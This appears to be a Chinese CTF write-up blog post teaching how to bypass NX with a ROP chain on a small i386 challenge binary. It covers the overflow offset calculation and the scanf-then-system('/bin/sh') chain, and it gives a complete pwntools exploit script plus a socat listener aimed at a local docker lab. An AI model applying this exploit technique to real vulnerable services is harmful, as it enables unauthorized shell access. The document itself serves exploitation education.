[pwn]ROP:绕过NX策略

[详细] ROP:绕过NX策略

我们使用的例子是这篇博客中的第一个例子:https://bbs.ichunqiu.com/thread-42530-1-1.html?from=sec,在i386环境中运行,很简单的一道题,这里提供一种更加简单的解法,只需细致观察,可以免除一些不必要的计算。
程序链接:https://pan.baidu.com/s/1dgiR7KwEjkI4i5nLJ-5jzQ 提取码:4zza
NX策略是使栈区域的代码无法执行,但我们可以使用ROP绕过。

ROP技术就是不需要自己手动写shellcode,只是利用文件中给出的多个跳转指令,实现利用原有代码达到获取shell的目的。可直接根据这个简单的例子来理解。

查看安全策略

在这里插入图片描述
如图,可见程序开启了NX防护。

将程序拖进IDA中,查看汇编代码及伪代码:

在这里插入图片描述
在这里插入图片描述

可见,使用了_isoc00_scanf函数,发生了溢出,应该是v1参数是一个字符串数组,向v1输入字符串即可溢出。但具体溢出位置还要调试时确定,接下来开始调试。

计算具体溢出位置

先执行过mov ebp,asp后:
在这里插入图片描述

再看栈区的栈底:
在这里插入图片描述

画框的就是返回的地址,因为刚刚之前的ebp入栈了,所以栈底的紧下方就是调用main之前的返回地址。接下来执行到scanf的位置,然后转到linux系统中输入:

在这里插入图片描述

在这里插入图片描述

接下来从栈底到栈顶中间位置寻找8个A,就是十六进制的41:
在这里插入图片描述

可以看到,距离栈底有52个字节,也就是说,第53~56个字节的内容会正好覆盖返回地址。但即使这样,我们也不能通过手写shellcode的方式实现溢出获取shell。只能在函数中寻找看有没有其他机会。

利用思路

我们想要执行的是system("/bin/sh")函数,所以我们应该找到system的位置和字符串"/bin/sh"。
在这里插入图片描述

其实打开IDA的时候就注意了,文件本身导入了system函数,但没有发现"/bin/sh"字符串,不过不要紧,因为文件本身使用了scanf,我们可以手动输入"/bin/sh"字符串,只需要寻找一个可读可写的段来存储这个"/bin/sh"(8字节)就好:
在这里插入图片描述

Load段就不错,当然其他段也可以,这里起始地址是0x0804A030,既然要使用scanf函数,所以我们自然还需要另一个参数%s,这个字符串由于在原文件中也调用了scanf,所以我们也可以找到,就是0x08048629:
在这里插入图片描述

在这之后我们整理一下思路,首先,需要通过栈溢出覆盖main函数的返回地址,直接覆盖为system函数的地址是肯定不行的,因为这时还没有system的参数"/bin/sh",所以我们应该先输入"/bin/sh",那么就应该先调用scanf,即使用scanf的地址覆盖main的返回地址。然后会调用scanf函数,所以我们还需要使用栈溢出来输入scanf函数的参数。但需要注意的是,在scanf函数的地址和参数之间还夹着一个scanf的返回地址,就是scanf执行到rtn时EIP跳转的地址。结构如下:

在这里插入图片描述

在这里我们向让scanf函数执行之后直接执行system函数,所以在scanf的返回地址上填上system的地址。但system还有返回地址和参数需要填写,而栈中接下来的确实scanf函数的参数,其实这里是不影响的,因为这里调用scanf函数,负责清理栈空间(清理参数)的也是scanf,也就是说scanf函数执行结束会将自己的参数清理,这里是怎么看出来的?我们查看汇编源码:
在这里插入图片描述

从scanf之后一直到retn,没有任何一个语句对ESP进行了加法操作,正常来讲(C++默认的调用约定__cdecl调用约定),由调用者管理栈空间,也就是说在调用完scanf之后应该有一个add esp,8的操作。这里再主函数中没有发现,所以推断是使用的“被调用者管理栈空间”的调用约定。也就是说如果我们将栈区覆盖为以下的样子,那么调用结束之后会变成这样:
在这里插入图片描述

也就是说栈空间会正好变成调用system函数的样子,其中system函数的返回地址随便填写就行。

利用代码:

首先要在docker中开启监听:

socat tcp-listen:1002,reuseaddr,fork EXEC:./pwn1,pty,raw

然后python代码如下,代码修改自原博客版:

#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 1002)

elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])	#plt表中scanf函数所在内存地址
system_addr = p32(elf.symbols['system'])		#plt表中system函数所在内存地址
main_addr = p32(0x08048531)		#main函数地址
format_s = p32(0x08048629)		#字符串"%s"所在内存地址
binsh_addr = p32(0x0804a030)	#从内存中找到的可写地址

shellcode1 = 'A'*0x34	#padding
shellcode1 += scanf_addr # 调用scanf以从STDIN读取"/bin/sh"字符串
shellcode1 += system_addr # scanf返回后到system函数
shellcode1 += format_s # scanf参数 
shellcode1 += binsh_addr # "/bin/sh"字符串所在地址,scanf的第二个参数
shellcode1 += 'aaaa' # system函数返回地址,随便填
shellcode1 += binsh_addr #system函数的参数,binsh的地址

print io.read()
io.sendline(shellcode1)
sleep(0.1)					#等待程序执行,防止出错
print io.read()
io.sendline('/bin/sh')
sleep(0.1)					#等待程序执行,防止出错
print io.read()
io.interactive()

结果:
在这里插入图片描述

感兴趣的同学可以去原博客查看,非常简单的一道题,只不过原博客中使用了更长的rop链,第二次调用main时还需要重新计算一次栈的覆盖长度,比较麻烦,而经过仔细观察后发现scanf函数自己清空了参数,那么可以使用简单的方法直接调用system函数。

参考(原博客):https://bbs.ichunqiu.com/thread-42530-1-1.html?from=sec

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章